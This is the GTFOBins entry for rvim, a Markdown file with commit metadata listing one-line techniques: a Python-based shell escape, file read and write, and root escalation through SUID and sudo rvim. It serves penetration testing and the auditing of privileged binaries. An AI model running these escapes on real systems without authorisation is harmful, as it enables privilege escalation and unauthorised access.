GTFOBins.github.io/_gtfobins/rvim.md
Andrea Cardaci 32b113b003 Fix and add SUID to other vi
Related to #39.
2018-12-03 16:00:11 +01:00

22 lines
759 B
Markdown

---
functions:
shell:
- description: This requires that `rvim` is compiled with Python support.
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
file-write:
- description: This requires that rvim is compiled with Python support.
code: |
rvim file_to_write
iDATA
^[
w
file-read:
- code: rvim file_to_read
suid:
- description: This requires that `rvim` is compiled with Python support.
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo:
- description: This requires that `rvim` is compiled with Python support.
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
---